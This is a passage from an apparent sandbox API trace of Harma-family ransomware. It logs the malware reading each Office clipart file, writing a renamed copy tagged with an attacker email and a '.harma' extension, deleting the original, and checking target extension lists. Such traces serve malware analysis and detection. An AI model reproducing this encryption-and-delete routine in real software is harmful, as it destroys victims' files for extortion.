lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xac4, lpOverlapped=0x0) returned 1 [0158.096] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xad0, lpOverlapped=0x0) returned 1 [0158.097] ReadFile (in: hFile=0x338, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0158.097] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.097] SetEndOfFile (hFile=0x34c) returned 1 [0158.097] CloseHandle (hObject=0x34c) returned 1 [0158.097] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.097] SetEndOfFile (hFile=0x338) returned 1 [0158.099] CloseHandle (hObject=0x338) returned 1 [0158.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0158.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0158.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0158.100] lstrlenW (lpString=".doc") returned 4 [0158.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.100] lstrlenW (lpString=".docx") returned 5 [0158.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.100] lstrlenW (lpString=".pdf") returned 4 [0158.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.100] lstrlenW (lpString=".xls") returned 4 [0158.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.101] lstrlenW (lpString=".xlsx") returned 5 [0158.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.101] lstrlenW (lpString=".ppt") returned 4 [0158.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0158.101] lstrlenW (lpString=".zip") returned 4 [0158.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.101] lstrlenW (lpString=".rar") returned 4 [0158.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.101] lstrlenW (lpString=".bz2") returned 4 [0158.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.101] lstrlenW (lpString=".7z") returned 3 [0158.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0158.101] lstrlenW (lpString=".dbf") returned 4 [0158.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0158.101] lstrlenW (lpString=".1cd") returned 4 [0158.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0158.101] lstrlenW (lpString=".jpg") returned 4 [0158.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0158.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0158.101] lstrlenW (lpString=".doc") returned 4 [0158.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.101] lstrlenW (lpString=".docx") returned 5 [0158.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.101] lstrlenW (lpString=".pdf") returned 4 [0158.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.101] lstrlenW (lpString=".xls") returned 4 [0158.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.102] lstrlenW (lpString=".xlsx") returned 5 [0158.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.102] lstrlenW (lpString=".ppt") returned 4 [0158.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0158.102] lstrlenW (lpString=".zip") returned 4 [0158.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.102] lstrlenW (lpString=".rar") returned 4 [0158.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString=".bz2") returned 4 [0158.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString=".7z") returned 3 [0158.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0158.102] lstrlenW (lpString=".dbf") returned 4 [0158.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0158.102] lstrlenW (lpString=".1cd") returned 4 [0158.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0158.102] lstrlenW (lpString=".jpg") returned 4 [0158.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.102] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.102] lstrlenW (lpString="HH01291_.WMF") returned 12 [0158.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.145] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=15806) returned 1 [0158.145] CloseHandle (hObject=0x208) returned 1 [0158.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x20 [0158.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0158.156] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.156] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.157] GetLastError () returned 0x0 [0158.157] ReadFile (in: hFile=0x360, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x3dbe, lpOverlapped=0x0) returned 1 [0158.158] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0158.160] ReadFile (in: hFile=0x360, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0158.160] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.160] SetEndOfFile (hFile=0x368) returned 1 [0158.160] CloseHandle (hObject=0x368) returned 1 [0158.160] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.160] SetEndOfFile (hFile=0x360) returned 1 [0158.162] CloseHandle (hObject=0x360) returned 1 [0158.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0158.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0158.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0158.163] lstrlenW (lpString=".doc") returned 4 [0158.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.163] lstrlenW (lpString=".docx") returned 5 [0158.164] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.164] lstrlenW (lpString=".pdf") returned 4 [0158.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString=".xls") returned 4 [0158.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.164] lstrlenW (lpString=".xlsx") returned 5 [0158.164] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.164] lstrlenW (lpString=".ppt") returned 4 [0158.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0158.164] lstrlenW (lpString=".zip") returned 4 [0158.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.164] lstrlenW (lpString=".rar") returned 4 [0158.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString=".bz2") returned 4 [0158.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString=".7z") returned 3 [0158.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0158.164] lstrlenW (lpString=".dbf") returned 4 [0158.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0158.164] lstrlenW (lpString=".1cd") returned 4 [0158.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0158.164] lstrlenW (lpString=".jpg") returned 4 [0158.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0158.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0158.164] lstrlenW (lpString=".doc") returned 4 [0158.164] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString=".docx") returned 5 [0158.165] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.165] lstrlenW (lpString=".pdf") returned 4 [0158.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString=".xls") returned 4 [0158.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.165] lstrlenW (lpString=".xlsx") returned 5 [0158.165] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.165] lstrlenW (lpString=".ppt") returned 4 [0158.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0158.165] lstrlenW (lpString=".zip") returned 4 [0158.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.165] lstrlenW (lpString=".rar") returned 4 [0158.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString=".bz2") returned 4 [0158.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString=".7z") returned 3 [0158.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0158.165] lstrlenW (lpString=".dbf") returned 4 [0158.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0158.165] lstrlenW (lpString=".1cd") returned 4 [0158.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0158.165] lstrlenW (lpString=".jpg") returned 4 [0158.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.165] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.166] lstrlenW (lpString="HH01329_.WMF") returned 12 [0158.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0158.166] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=6016) returned 1 [0158.166] CloseHandle (hObject=0x360) returned 1 [0158.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x20 [0158.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0158.167] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.167] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.168] GetLastError () returned 0x0 [0158.168] ReadFile (in: hFile=0x360, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1780, lpOverlapped=0x0) returned 1 [0158.203] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1790, lpOverlapped=0x0) returned 1 [0158.204] ReadFile (in: hFile=0x360, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0158.204] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.204] SetEndOfFile (hFile=0x368) returned 1 [0158.204] CloseHandle (hObject=0x368) returned 1 [0158.204] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.204] SetEndOfFile (hFile=0x360) returned 1 [0158.207] CloseHandle (hObject=0x360) returned 1 [0158.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0158.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0158.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0158.208] lstrlenW (lpString=".doc") returned 4 [0158.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.209] lstrlenW (lpString=".docx") returned 5 [0158.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.209] lstrlenW (lpString=".pdf") returned 4 [0158.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.209] lstrlenW (lpString=".xls") returned 4 [0158.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.209] lstrlenW (lpString=".xlsx") returned 5 [0158.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.209] lstrlenW (lpString=".ppt") returned 4 [0158.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0158.209] lstrlenW (lpString=".zip") returned 4 [0158.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.209] lstrlenW (lpString=".rar") returned 4 [0158.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.209] lstrlenW (lpString=".bz2") returned 4 [0158.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.209] lstrlenW (lpString=".7z") returned 3 [0158.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0158.209] lstrlenW (lpString=".dbf") returned 4 [0158.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0158.209] lstrlenW (lpString=".1cd") returned 4 [0158.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0158.209] lstrlenW (lpString=".jpg") returned 4 [0158.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0158.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0158.210] lstrlenW (lpString=".doc") returned 4 [0158.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.210] lstrlenW (lpString=".docx") returned 5 [0158.210] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.210] lstrlenW (lpString=".pdf") returned 4 [0158.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.210] lstrlenW (lpString=".xls") returned 4 [0158.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.210] lstrlenW (lpString=".xlsx") returned 5 [0158.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.210] lstrlenW (lpString=".ppt") returned 4 [0158.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0158.210] lstrlenW (lpString=".zip") returned 4 [0158.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.210] lstrlenW (lpString=".rar") returned 4 [0158.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.210] lstrlenW (lpString=".bz2") returned 4 [0158.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.210] lstrlenW (lpString=".7z") returned 3 [0158.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0158.210] lstrlenW (lpString=".dbf") returned 4 [0158.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0158.210] lstrlenW (lpString=".1cd") returned 4 [0158.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0158.210] lstrlenW (lpString=".jpg") returned 4 [0158.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.211] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.211] lstrlenW (lpString="HH01759_.WMF") returned 12 [0158.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.539] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=5414) returned 1 [0158.539] CloseHandle (hObject=0x370) returned 1 [0158.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x20 [0158.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0158.751] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.751] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.752] GetLastError () returned 0x0 [0158.752] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1526, lpOverlapped=0x0) returned 1 [0158.788] WriteFile (in: hFile=0x370, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1530, lpOverlapped=0x0) returned 1 [0158.789] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0158.789] WriteFile (in: hFile=0x370, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, 